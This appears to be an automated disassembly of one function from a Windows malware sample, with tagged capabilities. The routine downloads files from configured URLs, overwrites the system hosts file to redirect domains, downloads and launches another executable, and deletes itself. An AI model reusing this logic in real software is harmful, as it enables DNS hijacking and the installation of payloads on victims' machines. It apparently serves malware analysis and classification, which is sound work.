Function at 0x4066e1
Capabilities:
Create process on windows
Download url
Get common file path
Read .ini file
Receive data
Self delete

Disassembly:
mov eax, 0x407c60
call fcn.00407400
sub esp, 0x840
push ebx
push esi
mov esi, ecx
push edi
push 0x40b254
lea ecx, [ebp - 0x2c]
call fcn.004072c8
xor ebx, ebx
push str._clconfig.rar
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVCRT.dll_time]
and byte [ebp - 0x84], bl
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x83]
push dword [ebp - 0x58]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x84]
push str._t_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x84]
lea ecx, [ebp - 0x2c]
push eax
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x78]
push ebx
push ebx
push eax
push dword [ebp - 0x2c]
push ebx
call sub.urlmon.dll_URLDownloadToFileA
and byte [ebp - 0x18], bl
push dword [esi + 0x78]
xor eax, eax
lea edi, [ebp - 0x17]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push 2
stosb byte es:[edi], al
lea eax, [ebp - 0x18]
push eax
mov eax, str.sensefunction
push 0x40a7a8
push eax
push eax
call ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 1
pop ecx
jne 0x4067b1
xor edi, edi
push edi
push 0x64
push 0x70
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
jmp 0x4067b3
xor edi, edi
push edi
push 0x3e8
push 0x7b
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
push edi
push 0x3e8
push 0x7c
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, esi
call fcn.00404f02
push 0x40b094
push 0x420
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, edi
mov dword [0x40b258], eax
je 0x406829
push 0x420
push edi
push edi
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, edi
mov dword [0x40b25c], eax
jne 0x406829
push dword [0x40b258]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [0x40b258], edi
mov dword [esi + 0x74], 1
mov dword [esi + 0x6c], edi
mov eax, dword [0x40b25c]
mov dword [eax + 0x208], edi
mov eax, dword [0x40b25c]
mov dword [eax + 0x20c], edi
mov eax, dword [0x40b25c]
mov dword [eax + 0x210], edi
mov eax, dword [0x40b25c]
mov dword [eax + 0x204], edi
mov eax, dword [0x40b25c]
mov dword [eax + 0x200], edi
and byte [ebp - 0x1a], 0
push dword [esi + 0x78]
xor eax, eax
lea edi, [ebp - 0x19]
stosb byte es:[edi], al
lea eax, [ebp - 0x1a]
push 2
push eax
push 0x40a7a8
push str.ispopwina
push str.popwina
call ebx
lea eax, [ebp - 0x1a]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 1
pop ecx
jne 0x4068e6
and byte [ebp - 0x54], 0
xor eax, eax
lea edi, [ebp - 0x53]
push dword [esi + 0x78]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x54]
push 0x10
push eax
push str.1000
push str.shengxiao
push str.update
call ebx
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push 0
push eax
push 0x66
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
and byte [ebp - 0x68], 0
xor eax, eax
lea edi, [ebp - 0x67]
push dword [esi + 0x78]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x68]
push 0x10
push eax
push 0x40abec
push str.updatetimer
push str.update
call ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [esi + 0x60], eax
push 0
push 0xea60
push 0x67
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x360]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x360]
lea ecx, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CString::CString_2
push str._newini.ini
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
and byte [ebp - 0x25c], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x25b]
push dword [ebp - 0x30]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x25c]
push 0x80
push eax
push 0x40a7a8
push str.addie
push str.deletefile
call ebx
lea eax, [ebp - 0x25c]
lea ecx, [ebp - 0x38]
push eax
call sub.MFC42.DLL_CString::CString_2
mov edi, str.had_run
mov byte [ebp - 4], 2
push edi
push dword [ebp - 0x38]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x4069db
mov ecx, esi
call fcn.00404b26
push dword [ebp - 0x30]
push edi
push str.addie
push str.deletefile
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
and byte [ebp - 0x16], 0
push dword [esi + 0x78]
xor eax, eax
lea edi, [ebp - 0x15]
stosb byte es:[edi], al
lea eax, [ebp - 0x16]
push 2
push eax
mov eax, str.host
push 0x40a7a8
push eax
push eax
call ebx
lea eax, [ebp - 0x16]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push 1
pop edi
cmp eax, edi
jne 0x406d30
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
mov dword [ebp - 0x3c], edi
call sub.MFC42.DLL_CString::CString_1
push edi
lea eax, [ebp - 0x24]
push 0x40a280
push eax
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::Format
and byte [ebp - 0x1dc], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x1db]
push 0x1f
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.domain
lea ecx, [ebp - 0x28]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x28]
push eax
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::operator_1
push dword [esi + 0x78]
lea eax, [ebp - 0x1dc]
mov edi, 0x40a7a8
push 0x80
push eax
push edi
push dword [ebp - 0x28]
push str.host
call ebx
lea eax, [ebp - 0x1dc]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 6
push edi
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x406bab
and byte [ebp - 0xdc], 0
push 0xd
pop ecx
xor eax, eax
lea edi, [ebp - 0xdb]
push 0x40b058
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x10]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator_1
push dword [esi + 0x78]
lea eax, [ebp - 0xdc]
mov edi, 0x40a7a8
push 0x38
push eax
push edi
push dword [ebp - 0x10]
push str.host
call ebx
lea eax, [ebp - 0xdc]
lea ecx, [ebp - 0x20]
push eax
call sub.MFC42.DLL_CString::operator
push 0x40b054
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x1dc]
lea ecx, [ebp - 0x20]
push eax
call sub.MFC42.DLL_CString::operator
push 0x40b050
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::operator
inc dword [ebp - 0x3c]
lea eax, [ebp - 0x24]
push dword [ebp - 0x3c]
push 0x40a280
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x28]
push str.domain
call fcn.004072d4
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x28]
push eax
call sub.MFC42.DLL_CString::operator_1
push dword [esi + 0x78]
lea eax, [ebp - 0x1dc]
push 0x80
push eax
push edi
push dword [ebp - 0x28]
push str.host
call ebx
lea eax, [ebp - 0x1dc]
lea ecx, [ebp - 0x14]
push eax
call fcn.004072d4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
jmp 0x406aa5
lea eax, [ebp - 0x360]
lea ecx, [ebp - 0x34]
push eax
call sub.MFC42.DLL_CString::CString_2
push str._newini.ini
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::operator
and byte [ebp - 0x15c], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x15b]
push dword [ebp - 0x34]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x15c]
push 0x80
push eax
push 0x40a7a8
push str.writehost
push str.deletefile
call ebx
lea eax, [ebp - 0x15c]
lea ecx, [ebp - 0x44]
push eax
call sub.MFC42.DLL_CString::CString_2
push str.writed
mov byte [ebp - 4], 9
push dword [ebp - 0x44]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x406ce8
lea eax, [ebp - 0x360]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_2
push str.driversetchosts
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x54]
call sub.MFC42.DLL_CFile::CFile
push 0
push 2
push dword [ebp - 0x10]
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CFile::Open
push 0
lea ecx, [ebp - 0x54]
call sub.MFC42.DLL_CFile::SetLength
and byte [ebp - 0x84c], 0
mov ecx, 0xf9
xor eax, eax
lea edi, [ebp - 0x84b]
rep stosd dword es:[edi], eax
push dword [ebp - 0x20]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x84c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x84c]
pop ecx
push 0x3e8
push eax
lea ecx, [ebp - 0x54]
call sub.MFC42.DLL_CFile::Write
lea ecx, [ebp - 0x54]
call sub.MFC42.DLL_CFile::Close
push dword [ebp - 0x34]
push str.writed
push str.writehost
push str.deletefile
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xa
call fcn.004073d0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
and byte [ebp - 0xa4], 0
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0xa3]
push dword [esi + 0x78]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xa4]
push 0x20
push eax
push 0x40a7a8
push 0x40b024
push str.update
call ebx
lea eax, [ebp - 0xa4]
lea ecx, [ebp - 0x40]
push eax
call sub.MFC42.DLL_CString::CString_2
push dword [0x40b24c]
mov byte [ebp - 4], 0xc
push dword [ebp - 0x40]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x406ea6
and byte [ebp - 0x15c], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x15b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x360]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x40b018
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::operator
push dword [esi + 0x78]
lea eax, [ebp - 0x15c]
push 0x80
push eax
push 0x40a7a8
push 0x40adc0
push str.update
call ebx
xor edi, edi
lea eax, [ebp - 0x15c]
push edi
push edi
push dword [ebp - 0x10]
push eax
push edi
call sub.urlmon.dll_URLDownloadToFileA
lea eax, [ebp - 0x464]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x464]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::CString_2
push str.delef2.exe
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::operator
push dword [ebp - 0x14]
mov ecx, esi
push 0x40a284
push 0x6e
push edi
call fcn.00406f1b
push 5
push edi
push edi
push dword [ebp - 0x14]
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.004034b1
push edi
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x406ed9
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::CString
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret